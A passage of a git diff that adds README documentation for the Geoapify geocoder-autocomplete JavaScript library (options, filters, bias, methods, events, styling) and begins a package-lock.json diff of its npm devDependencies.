+* **Option 2**. Refer to the Geocoder Autocomplete as `autocomplete` when you added it as a script:
+```javascript
+const autocompleteInput = new autocomplete.GeocoderAutocomplete(
+ document.getElementById("autocomplete"),
+ 'YOUR_API_KEY',
+ { /* Geocoder options */ });
+
+autocompleteInput.on('select', (location) => {
+ // check selected location here
+});
+
+autocompleteInput.on('suggestions', (suggestions) => {
+ // process suggestions here
+});
+```
+### STEP 3. Add the Autocomplete Input styles:
+We provide several Themes within the library:
+* `minimal` and `round-borders` - for webpages with light background color
+* `minimal-dark` and `round-borders-dark` for webpages with dark background color.
+
+You can import the appropriate css-file to your styles:
+```css
+ @import "~@geoapify/geocoder-autocomplete/styles/minimal.css";
+```
+or as a link in a HTML-file:
+```html
+
+```
+
+## Transitioning from 1.x: Replacing `skipDetails` with `addDetails`
+
+When transitioning from the 1.x version of the library to the 2.x version, it's important to note that the `skipDetails` option has been replaced by the `addDetails` option. This change enhances the clarity of the parameter, as it now explicitly indicates whether you want to include or exclude additional details in the search results. To maintain compatibility with the updated version, make sure to adjust your code accordingly by using the `addDetails` option when needed for your address search functionality.
+
+So, if you require place details in your search results, you should set the `addDetails` option to `true`.
+## Documentation
+
+Below, you'll find `@geoapify/geocoder-autocomplete`'s detailed documentation, usage examples, advanced features, and more. You'll find the information you need to seamlessly integrate address autocomplete and enhance your web-based geolocation services and user experiences.
+### Creation
+
+| Option | Type | Description |
+| ------ | ------ | ------ |
+| constructor | *GeocoderAutocomplete( el, geoapifyApiKey, options?)* | *GeocoderAutocomplete(document.getElementById('autocomplete'), 'sdf45dfg68879fhsdgs346dfhdj', { lang: 'it' }*
+
+### GeocoderAutocompleteOptions
+| Option | Type | Description |
+| ------ | ------ | ------ |
+| type | `country`, `state`, `city`, `postcode`, `street`, `amenity` | Type of the location |
+| lang | LanguageCode | Results language |
+| limit | number | The maximal number of returned suggestions |
+| placeholder | string | An input field placeholder |
+| debounceDelay | number | A delay between user input and the API call to prevent unnecessary calls. The default value is 100ms. |
+| skipIcons | boolean | Don't add icons to suggestions |
+| addDetails | boolean | Call Place Details API on selection change to get the place details. For example, opening hours or boundary |
+| skipSelectionOnArrowKey | boolean | Don't choose the location with the arrow keys |
+| filter | FilterOptions | Filter places by country, boundary, circle, place |
+| bias | BiasOptions | Prefer places by country, boundary, circle, location |
+| allowNonVerifiedHouseNumber | boolean | Allow the addition of house numbers that are not verified by the Geocoding API or missing in the database. Check the *"Working with non-verified values"* section for details. |
+| allowNonVerifiedStreet | boolean | Allow the addition of streets that are not verified by the Geocoding API or missing in the database. Check the *"Working with non-verified values"* section for details. |
+
+#### LanguageCode
+2-character [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) language code: `ab`, `aa`, `af`, `ak`, `sq`, `am`, `ar`, `an`, `hy`, `as`, `av`, `ae`, `ay`, `az`, `bm`, `ba`, `eu`, `be`, `bn`, `bh`, `bi`, `bs`, `br`, `bg`, `my`, `ca`, `ch`, `ce`, `ny`, `zh`, `cv`, `kw`, `co`, `cr`, `hr`, `cs`, `da`, `dv`, `nl`, `en`, `eo`, `et`, `ee`, `fo`, `fj`, `fi`, `fr`, `ff`, `gl`, `ka`, `de`, `el`, `gn`, `gu`, `ht`, `ha`, `he`, `hz`, `hi`, `ho`, `hu`, `ia`, `id`, `ie`, `ga`, `ig`, `ik`, `io`, `is`, `it`, `iu`, `ja`, `jv`, `kl`, `kn`, `kr`, `ks`, `kk`, `km`, `ki`, `rw`, `ky`, `kv`, `kg`, `ko`, `ku`, `kj`, `la`, `lb`, `lg`, `li`, `ln`, `lo`, `lt`, `lu`, `lv`, `gv`, `mk`, `mg`, `ms`, `ml`, `mt`, `mi`, `mr`, `mh`, `mn`, `na`, `nv`, `nb`, `nd`, `ne`, `ng`, `nn`, `no`, `ii`, `nr`, `oc`, `oj`, `cu`, `om`, `or`, `os`, `pa`, `pi`, `fa`, `pl`, `ps`, `pt`, `qu`, `rm`, `rn`, `ro`, `ru`, `sa`, `sc`, `sd`, `se`, `sm`, `sg`, `sr`, `gd`, `sn`, `si`, `sk`, `sl`, `so`, `st`, `es`, `su`, `sw`, `ss`, `sv`, `ta`, `te`, `tg`, `th`, `ti`, `bo`, `tk`, `tl`, `tn`, `to`, `tr`, `ts`, `tt`, `tw`, `ty`, `ug`, `uk`, `ur`, `uz`, `ve`, `vi`, `vo`, `wa`, `cy`, `wo`, `fy`, `xh`, `yi`, `yo`, `za`.
+
+#### FilterOptions
+The Geocoder Autocomplete allows specify the following types of filters:
+
+Name | Filter | Filter Value | Description | Examples
+--- | --- | --- | --- | ---
+By circle | *circle* | `{ lon: number ,lat: number, radiusMeters: number }` | Search places inside the circle | `filter['circle'] = {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}`
+By rectangle | *rect* | `{ lon1: number ,lat1: number, lon2: number ,lat2: number}` | Search places inside the rectangle | `filter['rect'] = {lon1: 89.097540, lat1: 39.668983, lon2: -88.399274, lat2: 40.383412}`
+By country | *countrycode* | `CountyCode[]` | Search places in the countries | `filter['countrycode'] = ['de', 'fr', 'es']`
+By place | *place* | `string` | Search for places within a given city or postal code. For example, search for streets within a city. Use the 'place_id' returned by another search to specify a filter. | `filter['place'] = '51ac66e77e9826274059f9426dc08c114840f00101f901dcf3000000000000c00208'`
+
+You can provide filters as initial options or add by calling a function:
+```
+ options.filter = {
+ 'circle': {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}
+ };
+
+ // or
+
+ autocomplete.addFilterByCircle({lon: -87.770231, lat: 41.878968, radiusMeters: 5000});
+
+```
+
+You can combine several filters (but only one of each type) in one request. The **AND** logic is applied to the multiple filters.
+
+#### BiasOptions
+You can chage priority of the search by setting bias. The Geocoder Autocomplete allows specify the following types of bias:
+
+Name | Bias | Bias Value | Description | Examples
+--- | --- | --- | --- | ---
+By circle | *circle* | `{ lon: number ,lat: number, radiusMeters: number }` | First, search places inside the circle, then worldwide | `bias['circle'] = {lon: -87.770231, lat: 41.878968, radiusMeters: 5000}`
+By rectangle | *rect* | `{ lon1: number ,lat1: number, lon2: number ,lat2: number}` | First, search places inside the rectangle, then worldwide | `bias['rect'] = {lon1: 89.097540, lat1: 39.668983, lon2: -88.399274, lat2: 40.383412}`
+By country | *countrycode* | `CountyCode[]` | First, search places in the countries, then worldwide | `bias['countrycode'] = ['de', 'fr', 'es']`
+By location | *proximity* | `{lon: number ,lat: number}` | Prioritize results by farness from the location | `bias['proximity'] = {lon: -87.770231, lat: 41.878968}`
+
+You can combine several bias parameters (but only one of each type) in one request. The OR logic is applied to the multiple bias.
+
+NOTE! The default bias for the geocoding requests is "countrycode:auto", the API detects a country by IP address and provides the search there first. Set `bias['countrycode'] = ['none']` to avoid prioritization by country.
+
+You can provide filters as initial options or add by calling a function:
+```
+ options.bias = {
+ 'circle': {lon: -87.770231, lat: 41.878968, radiusMeters: 5000},
+ 'countrycode': ['none']
+ };
+
+ // or
+
+ autocomplete.addBiasByCircle({lon: -87.770231, lat: 41.878968, radiusMeters: 5000});
+
+```
+#### CountyCode
+
+* Use 'auto' to detect the country by IP address;
+* Use 'none' to skip;
+* 2-digits [ISO 3166-1 Alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2#Officially_assigned_code_elements) country code: `ad`, `ae`, `af`, `ag`, `ai`, `al`, `am`, `an`, `ao`, `ap`, `aq`, `ar`, `as`, `at`, `au`, `aw`, `az`, `ba`, `bb`, `bd`, `be`, `bf`, `bg`, `bh`, `bi`, `bj`, `bm`, `bn`, `bo`, `br`, `bs`, `bt`, `bv`, `bw`, `by`, `bz`, `ca`, `cc`, `cd`, `cf`, `cg`, `ch`, `ci`, `ck`, `cl`, `cm`, `cn`, `co`, `cr`, `cu`, `cv`, `cx`, `cy`, `cz`, `de`, `dj`, `dk`, `dm`, `do`, `dz`, `ec`, `ee`, `eg`, `eh`, `er`, `es`, `et`, `eu`, `fi`, `fj`, `fk`, `fm`, `fo`, `fr`, `ga`, `gb`, `gd`, `ge`, `gf`, `gh`, `gi`, `gl`, `gm`, `gn`, `gp`, `gq`, `gr`, `gs`, `gt`, `gu`, `gw`, `gy`, `hk`, `hm`, `hn`, `hr`, `ht`, `hu`, `id`, `ie`, `il`, `in`, `io`, `iq`, `ir`, `is`, `it`, `jm`, `jo`, `jp`, `ke`, `kg`, `kh`, `ki`, `km`, `kn`, `kp`, `kr`, `kw`, `ky`, `kz`, `la`, `lb`, `lc`, `li`, `lk`, `lr`, `ls`, `lt`, `lu`, `lv`, `ly`, `ma`, `mc`, `md`, `me`, `mg`, `mh`, `mk`, `ml`, `mm`, `mn`, `mo`, `mp`, `mq`, `mr`, `ms`, `mt`, `mu`, `mv`, `mw`, `mx`, `my`, `mz`, `na`, `nc`, `ne`, `nf`, `ng`, `ni`, `nl`, `no`, `np`, `nr`, `nu`, `nz`, `om`, `pa`, `pe`, `pf`, `pg`, `ph`, `pk`, `pl`, `pm`, `pr`, `ps`, `pt`, `pw`, `py`, `qa`, `re`, `ro`, `rs`, `ru`, `rw`, `sa`, `sb`, `sc`, `sd`, `se`, `sg`, `sh`, `si`, `sj`, `sk`, `sl`, `sm`, `sn`, `so`, `sr`, `st`, `sv`, `sy`, `sz`, `tc`, `td`, `tf`, `tg`, `th`, `tj`, `tk`, `tm`, `tn`, `to`, `tr`, `tt`, `tv`, `tw`, `tz`, `ua`, `ug`, `um`, `us`, `uy`, `uz`, `va`, `vc`, `ve`, `vg`, `vi`, `vn`, `vu`, `wf`, `ws`, `ye`, `yt`, `za`, `zm`, `zw`.
+
+Learn more about Geoapify Geocoder options on [Geoapify Documentation page](https://apidocs.geoapify.com/docs/geocoding).
+
+### Methods
+
+Here's a description of the API methods:
+
+| Method | Description |
+|-----------------------------------------|---------------------------------------------------------------------|
+| *setType(type: 'country' or 'state' or 'city' or 'postcode' or 'street' or 'amenity'): void* | Sets the type of location for address suggestions. |
+| *setLang(lang: SupportedLanguage): void* | Sets the language for address suggestions. |
+| *setCountryCodes(codes: CountyCode[]): void* | Sets specific country codes to filter address suggestions. |
+| *setPosition(position: GeoPosition = {lat: number; lon: number}): void* | Sets the geographic position to influence suggestions based on proximity.|
+| *setLimit(limit: number): void* | Sets the maximum number of suggestions to display. |
+| *setValue(value: string): void* | Sets the value of the input field programmatically. |
+| *getValue(): string* | Retrieves the current value of the input field. |
+| *addFilterByCountry(codes: CountyCode[]): void* | Adds a filter to include or exclude suggestions based on specific country codes. |
+| *addFilterByCircle(filterByCircle: ByCircleOptions = {lon: number; lat: number; radiusMeters: number }): void* | Adds a circular filter to include or exclude suggestions within a specified geographic area. |
+| *addFilterByRect(filterByRect: ByRectOptions = { lon1: number; lat1: number; lon2: number; lat2: number}): void* | Adds a rectangular filter to include or exclude suggestions within a specified geographic area. |
+| *addFilterByPlace(filterByPlace: string): void* | Adds a filter to include or exclude suggestions based on a specific place or location. |
+| *clearFilters(): void* | Clears all previously added filters. |
+| *addBiasByCountry(codes: CountyCode[]): void* | Adds a bias to prioritize suggestions from specific countries. |
+| *addBiasByCircle(biasByCircle: ByCircleOptions = {lon: number; lat: number; radiusMeters: number }): void* | Adds a circular bias to prioritize suggestions within a specified geographic area. |
+| *addBiasByRect(biasByRect: ByRectOptions = { lon1: number; lat1: number; lon2: number; lat2: number}): void* | Adds a rectangular bias to prioritize suggestions within a specified geographic area. |
+| *addBiasByProximity(biasByProximity: ByProximityOptions = { lon: number; lat: number }): void* | Adds a bias based on proximity to a specific location. |
+| *clearBias(): void* | Clears all previously added biases. |
+| *setSuggestionsFilter(suggestionsFilterFunc?: (suggestions: GeoJSON.Feature[]) => GeoJSON.Feature[]): void* | Sets a custom filter function for suggestions. |
+| *setPreprocessHook(preprocessHookFunc?: (value: string) => string): void* | Sets a preprocessing hook to modify the input value before sending a request. |
+| *setPostprocessHook(postprocessHookFunc?: (value: string) => string): void* | Sets a post-processing hook to modify the suggestion values after retrieval. |
+| *isOpen(): boolean* | Checks if the suggestions dropdown is currently open. |
+| *close(): void* | Manually closes the suggestions dropdown. |
+| *open(): void* | Manually opens the suggestions dropdown. |
+| *sendGeocoderRequest(value: string): Promise* | Sends a geocoder request based on the provided value and returns a Promise with the response in [GeoJSON FeatureCollection](https://en.wikipedia.org/wiki/GeoJSON) format containing suggestions. |
+| *sendPlaceDetailsRequest(feature: GeoJSON.Feature): Promise* | Sends a place details request based on the provided [GeoJSON feature](https://en.wikipedia.org/wiki/GeoJSON) and returns a Promise with the response in GeoJSON Feature format containing place details. |
+| *setSendGeocoderRequestFunc(sendGeocoderRequestFunc: (value: string, geocoderAutocomplete: GeocoderAutocomplete) => Promise): void* | Sets a custom function to send geocoder requests. |
+| *setSendPlaceDetailsRequestFunc(sendPlaceDetailsRequestFunc: (feature: GeoJSON.Feature, geocoderAutocomplete: GeocoderAutocomplete) => Promise): void* | Sets a custom function to send place details requests. |
+| *on(operation: 'select' or 'suggestions' or 'input' or 'close' or 'open', callback: (param: any) => void): void* | Attaches event listeners to various operations such as selection, suggestions, input changes, and dropdown open/close. |
+| *off(operation: 'select' or 'suggestions' or 'input' or 'close' or 'open', callback?: (param: any) => void): void* | Detaches previously attached event listeners. |
+| *once(operation: 'select' or 'suggestions' or 'input' or 'close' or 'open', callback: (param: any) => void): void* | Attaches a one-time event listener that triggers only once for the specified operation. |
+
+#### Example. Setting Geocoder options
+The library offers a flexible API that enables the dynamic configuration of Geoapify Geocoder options at runtime:
+
+```javascript
+const autocomplete = new GeocoderAutocomplete(...);
+
+// set location type
+autocomplete.setType(options.type);
+// set results language
+autocomplete.setLang(options.lang);
+// set dropdown elements limit
+autocomplete.setLimit(options.limit);
+
+// set filter
+autocomplete.addFilterByCountry(codes);
+autocomplete.addFilterByCircle(filterByCircle);
+autocomplete.addFilterByRect(filterByRect);
+autocomplete.addFilterByPlace(placeId);
+autocomplete.clearFilters()
+
+// set bias
+autocomplete.addBiasByCountry(codes);
+autocomplete.addBiasByCircle(biasByCircle);
+autocomplete.addBiasByRect(biasByRect);
+autocomplete.addBiasByProximity(biasByProximity);
+autocomplete.clearBias();
+```
+
+#### Example. Close and open the suggestions dropdown automatically
+
+You can also interact with the suggestions dropdown through the API, allowing you to check its current state and toggle the open/close state as needed:
+
+```javascript
+// get and change dropdown list state
+autocomplete.isOpen();
+autocomplete.open();
+autocomplete.close();
+```
+
+#### Example. Setting and getting the display value
+You have the ability to retrieve the current value or modify the displayed value:
+
+```javascript
+autocomplete.setValue(value);
+
+const displayValue = autocomplete.getValue();
+```
+
+#### Example. Hooks and suggestions filter
+
+Through the inclusion of preprocessing and post-processing hooks, as well as a suggestions filter, you modify both the entered values before sending the request and the received suggestions list:
+
+* **Preprocess Hook** - Empower your address search by modifying the input text dynamically. For instance, when expecting a street name, you can enhance the search by adding a city or postcode to find streets within that specific location.
+* **Postprocess Hook** - Tailor the displayed text in both the input field and suggestions list to match your desired format. For example, you can choose to display only the street name, offering a cleaner and more user-friendly presentation.
+* **Suggestions Filter** - Efficiently manage and filter suggestions to prevent duplication or remove unnecessary items. This feature is particularly useful when applying a post-process hook, ensuring that suggestions with identical street names are intelligently handled and presented without redundancy.
+
+```javascript
+
+// add preprocess hook
+autocomplete.setPreprocessHook((value: string) => {
+ // return augmented value here
+ return `${value} ${someAdditionalInfo}`
+});
+
+// remove the hook
+autocomplete.setPreprocessHook(null);
+
+autocomplete.setPostprocessHook((feature) => {
+ // feature is GeoJSON feature containing structured address
+ // return a part of the address to be displayed
+ return feature.properties.street;
+});
+
+// remove the hook
+autocomplete.setPostprocessHook(null);
+
+autocomplete.setSuggestionsFilter((features: any[]) => {
+ // features is an array of GeoJSON features, that contains suggestions
+ // return filtered array
+ const processedStreets = [];
+ const filtered = features.filter(feature => {
+ if (!feature.properties.street || processedStreets.indexOf(feature.properties.street) >= 0) {
+ return false;
+ } else {
+ processedStreets.push(feature.properties.street);
+ return true;
+ }
+ });
+ return filtered;
+});
+
+// remove the filter
+autocomplete.setSuggestionsFilter(null);
+
+```
+
+#### Example. Overwrite send request method
+
+The library provides the flexibility to override default API methods, with Geoapify API being the default choice, for searching addresses. This allows you to seamlessly integrate custom or third-party address search services, offering you the freedom to tailor the geocoding functionality to your specific needs.
+
+Here is an example of how you can override the default API methods to integrate custom or third-party address search services:
+
+```javascript
+autocomplete.setSendGeocoderRequestFunc((value: string, geocoderAutocomplete: GeocoderAutocomplete) => {
+
+ if (/* check here if you can geocode the value */) {
+ ...
+ return new Promise((resolve, reject) => {
+ resolve({
+ "type": "FeatureCollection",
+ "features": [
+ {
+ "type": "Feature",
+ "properties": {
+ ...
+ "formatted": address
+ },
+ "geometry": {
+ "type": "Point",
+ "coordinates": [lon, lat]
+ }
+ }
+ ]
+ })
+ });
+ }
+
+ // You can call the default search method this way
+ return geocoderAutocomplete.sendGeocoderRequest(value);
+});
+
+autocomplete.setSendPlaceDetailsRequestFunc((feature: any, geocoderAutocomplete: GeocoderAutocomplete) => {
+ if (/* you have details for the place */) {
+ ...
+ return new Promise((resolve, reject) => {
+ resolve({
+ "type": "FeatureCollection",
+ "features": [
+ {
+ "type": "Feature",
+ "properties": {
+ ...
+ "formatted": address
+ },
+ "geometry": { ... }
+ }
+ ]
+ })
+ });
+ }
+
+ // You can call the default place details method this way
+ return geocoderAutocomplete.sendPlaceDetailsRequest(feature);
+});
+```
+
+### Events
+
+`@geoapify/geocoder-autocomplete` provides a set of event handling functionsโon, off, and once. These functions allow you to attach, detach, and manage event listeners for various user interactions and changes within the library.
+
+| Event Name | Description |
+|---------------|------------------------------------------------------------------------------------------------------------------------|
+| `select` | Triggered when a suggestion is selected from the dropdown. Useful for capturing and responding to user selections. |
+| `suggestions` | Fired when suggestions are provided, allowing access to the list of suggestions for customization or interaction. |
+| `input` | Occurs whenever the input field value changes, providing real-time feedback on user input for dynamic adjustments. |
+| `close` | Triggered when the suggestions dropdown is closed, enabling actions to be performed when the dropdown closes. |
+| `open` | Fired when the suggestions dropdown is opened, offering an opportunity to respond to dropdown opening events. |
+
+These events offer flexibility and customization options for creating tailored interactions and user experiences in your application.
+
+#### Example. Geocoder Autocomplete events
+
+You have the option to attach event listeners to the Geocoder Autocomplete:
+
+```javascript
+autocomplete.on('select', (location) => {
+ // check selected location here
+});
+
+autocomplete.on('suggestions', (suggestions) => {
+ // process suggestions here
+});
+
+autocomplete.on('input', (userInput) => {
+ // process user input here
+});
+
+autocomplete.on('open', () => {
+ // dropdown list is opened
+});
+
+autocomplete.on('close', () => {
+ // dropdown list is closed
+});
+
+autocomplete.once('open', () => {
+ // dropdown list is opened, one time callback
+});
+
+autocomplete.once('close', () => {
+ // dropdown list is closed, one time callback
+});
+```
+The location have [GeoJSON.Feature](https://geojson.org/) type, suggestions have GeoJSON.Feature[] type. The feature properties contain information about address and location.
+
+Use `off()` function to remove event listerers:
+```javascript
+// remove open event
+autocomplete.off('open', this.onOpen);
+
+// remove all open events
+autocomplete.off('open');
+```
+
+Learn more about Geocoder result properties on [Geoapify Documentation page](https://apidocs.geoapify.com/docs/geocoding/).
+
+## Styling
+
+We offer a variety of built-in themes within the library, catering to different webpage styles:
+
+1. **Minimal Theme**: Designed for webpages with a light background color.
+2. **Round Borders Theme**: Tailored for webpages with a light background color, featuring rounded borders.
+3. **Minimal Dark Theme**: Ideal for webpages with a dark background color.
+4. **Round Borders Dark Theme**: Specifically crafted for webpages with a dark background color, incorporating rounded borders.
+
+These themes offer versatile styling options to seamlessly integrate the address autocomplete component into various webpage designs.
+
+Moreover, if you prefer to have complete control over the styling, you have the opportunity to customize the component yourself. Below are the CSS classes used for styling:
+
+| Class Name | Description |
+| ---------------------------------------------- | -------------------------------------------------------------- |
+| `.geoapify-autocomplete-input` | Styles the input element. |
+| `.geoapify-autocomplete-items` | Styles the dropdown list. |
+| `.geoapify-autocomplete-items .active` | Styles the selected item in the dropdown list. |
+| `.geoapify-autocomplete-item` | Styles the individual dropdown list items. |
+| `.geoapify-autocomplete-item.icon` | Styles the icon within the dropdown list items. |
+| `.geoapify-autocomplete-item.text` | Styles the text within the dropdown list items. |
+| `.geoapify-close-button` | Styles the clear button. |
+| `.geoapify-autocomplete-items .main-part .non-verified` | Styles a portion of the street address that could not be verified by the Geocoder. |
+
+## Working with non-verified address components
+
+When utilizing the Geocoder Autocomplete library to gather postal addresses, it's often advantageous to adopt a more permissive approach, allowing for the inclusion of non-verified address components such as house numbers and streets.
+
+In real-world scenarios, it's possible that newly constructed streets or houses may not yet be included in existing databases. Restricting users from entering such addresses may not align with your objectives.
+
+To accommodate users and enable the inclusion of non-verified address parts, you can leverage the `allowNonVerifiedHouseNumber` and `allowNonVerifiedStreet` parameters. These settings empower users to contribute address details that may not yet be officially validated, fostering flexibility and completeness in your address data collection process.
+
+### How it works
+
+The library operates by utilizing the API to retrieve essential address details, including the parsed address, the located address, and a match type as results. Using this information as a foundation, the library enhances the result by filling in missing values, such as house numbers, to provide a more complete and user-friendly address representation.
+
+Notably, non-verified address components are denoted with a "non-verified" class, making them visually distinct by default, often highlighted in red to indicate their provisional or unverified status.
+
+It's essential to note that the GPS coordinates associated with the results correspond to the actual locations. Users have the flexibility to adjust these coordinates as needed to ensure accuracy.
+
+Furthermore, the result object is expanded to include a list of non-verified properties. For instance:
+
+```json
+{
+ "type": "Feature",
+ "properties": {
+ ...
+ "address_line1": "Bรผrgermeister-Heinrich-Straรe 60",
+ "address_line2": "93077 Bad Abbach, Germany",
+ "housenumber": "60",
+ "nonVerifiedParts": [
+ "housenumber"
+ ]
+ },
+ ...
+}
+```
+
+This extended result object provides transparency by clearly indicating which address components are non-verified, allowing for informed decision-making and customization based on the level of validation required for your specific use case.
+
+## License
+This library is open-source and released under the MIT License.
+
+## Contributions and Support
We welcome contributions from the developer community. If you encounter any issues or have suggestions for improvements, please feel free to open an issue or submit a pull request on [GitHub](https://github.com/geoapify/geocoder-autocomplete).
\ No newline at end of file
diff --git a/package-lock.json b/package-lock.json
index 0a989d1..652a9ae 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -1,2466 +1,2466 @@
-{
- "name": "@geoapify/geocoder-autocomplete",
- "version": "2.0.1",
- "lockfileVersion": 3,
- "requires": true,
- "packages": {
- "": {
- "name": "@geoapify/geocoder-autocomplete",
- "version": "2.0.1",
- "license": "MIT",
- "devDependencies": {
- "@rollup/plugin-commonjs": "^25.0.4",
- "@rollup/plugin-json": "^6.0.0",
- "@rollup/plugin-node-resolve": "^15.2.1",
- "@rollup/plugin-typescript": "^11.1.3",
- "cssnano": "^6.0.1",
- "postcss": "^8.4.6",
- "postcss-cli": "^10.1.0",
- "postcss-import": "^15.1.0",
- "rollup": "^3.29.2",
- "rollup-plugin-terser": "^7.0.2",
- "tslib": "^2.3.1",
- "typescript": "^5.2.2"
- }
- },
- "node_modules/@babel/code-frame": {
- "version": "7.22.13",
- "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.13.tgz",
- "integrity": "sha512-XktuhWlJ5g+3TJXc5upd9Ks1HutSArik6jf2eAjYFyIOf4ej3RN+184cZbzDvbPnuTJIUhPKKJE3cIsYTiAT3w==",
- "dev": true,
- "dependencies": {
- "@babel/highlight": "^7.22.13",
- "chalk": "^2.4.2"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/helper-validator-identifier": {
- "version": "7.22.20",
- "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz",
- "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==",
- "dev": true,
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@babel/highlight": {
- "version": "7.22.20",
- "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.20.tgz",
- "integrity": "sha512-dkdMCN3py0+ksCgYmGG8jKeGA/8Tk+gJwSYYlFGxG5lmhfKNoAy004YpLxpS1W2J8m/EK2Ew+yOs9pVRwO89mg==",
- "dev": true,
- "dependencies": {
- "@babel/helper-validator-identifier": "^7.22.20",
- "chalk": "^2.4.2",
- "js-tokens": "^4.0.0"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/@jridgewell/gen-mapping": {
- "version": "0.3.3",
- "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz",
- "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==",
- "dev": true,
- "dependencies": {
- "@jridgewell/set-array": "^1.0.1",
- "@jridgewell/sourcemap-codec": "^1.4.10",
- "@jridgewell/trace-mapping": "^0.3.9"
- },
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/resolve-uri": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz",
- "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==",
- "dev": true,
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/set-array": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz",
- "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==",
- "dev": true,
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/@jridgewell/source-map": {
- "version": "0.3.5",
- "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz",
- "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==",
- "dev": true,
- "dependencies": {
- "@jridgewell/gen-mapping": "^0.3.0",
- "@jridgewell/trace-mapping": "^0.3.9"
- }
- },
- "node_modules/@jridgewell/sourcemap-codec": {
- "version": "1.4.15",
- "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz",
- "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==",
- "dev": true
- },
- "node_modules/@jridgewell/trace-mapping": {
- "version": "0.3.19",
- "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.19.tgz",
- "integrity": "sha512-kf37QtfW+Hwx/buWGMPcR60iF9ziHa6r/CZJIHbmcm4+0qrXiVdxegAH0F6yddEVQ7zdkjcGCgCzUu+BcbhQxw==",
- "dev": true,
- "dependencies": {
- "@jridgewell/resolve-uri": "^3.1.0",
- "@jridgewell/sourcemap-codec": "^1.4.14"
- }
- },
- "node_modules/@nodelib/fs.scandir": {
- "version": "2.1.5",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
- "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
- "dev": true,
- "dependencies": {
- "@nodelib/fs.stat": "2.0.5",
- "run-parallel": "^1.1.9"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@nodelib/fs.stat": {
- "version": "2.0.5",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
- "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
- "dev": true,
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@nodelib/fs.walk": {
- "version": "1.2.8",
- "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
- "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
- "dev": true,
- "dependencies": {
- "@nodelib/fs.scandir": "2.1.5",
- "fastq": "^1.6.0"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/@rollup/plugin-commonjs": {
- "version": "25.0.4",
- "resolved": "https://registry.npmjs.org/@rollup/plugin-commonjs/-/plugin-commonjs-25.0.4.tgz",
- "integrity": "sha512-L92Vz9WUZXDnlQQl3EwbypJR4+DM2EbsO+/KOcEkP4Mc6Ct453EeDB2uH9lgRwj4w5yflgNpq9pHOiY8aoUXBQ==",
- "dev": true,
- "dependencies": {
- "@rollup/pluginutils": "^5.0.1",
- "commondir": "^1.0.1",
- "estree-walker": "^2.0.2",
- "glob": "^8.0.3",
- "is-reference": "1.2.1",
- "magic-string": "^0.27.0"
- },
- "engines": {
- "node": ">=14.0.0"
- },
- "peerDependencies": {
- "rollup": "^2.68.0||^3.0.0"
- },
- "peerDependenciesMeta": {
- "rollup": {
- "optional": true
- }
- }
- },
- "node_modules/@rollup/plugin-json": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/@rollup/plugin-json/-/plugin-json-6.0.0.tgz",
- "integrity": "sha512-i/4C5Jrdr1XUarRhVu27EEwjt4GObltD7c+MkCIpO2QIbojw8MUs+CCTqOphQi3Qtg1FLmYt+l+6YeoIf51J7w==",
- "dev": true,
- "dependencies": {
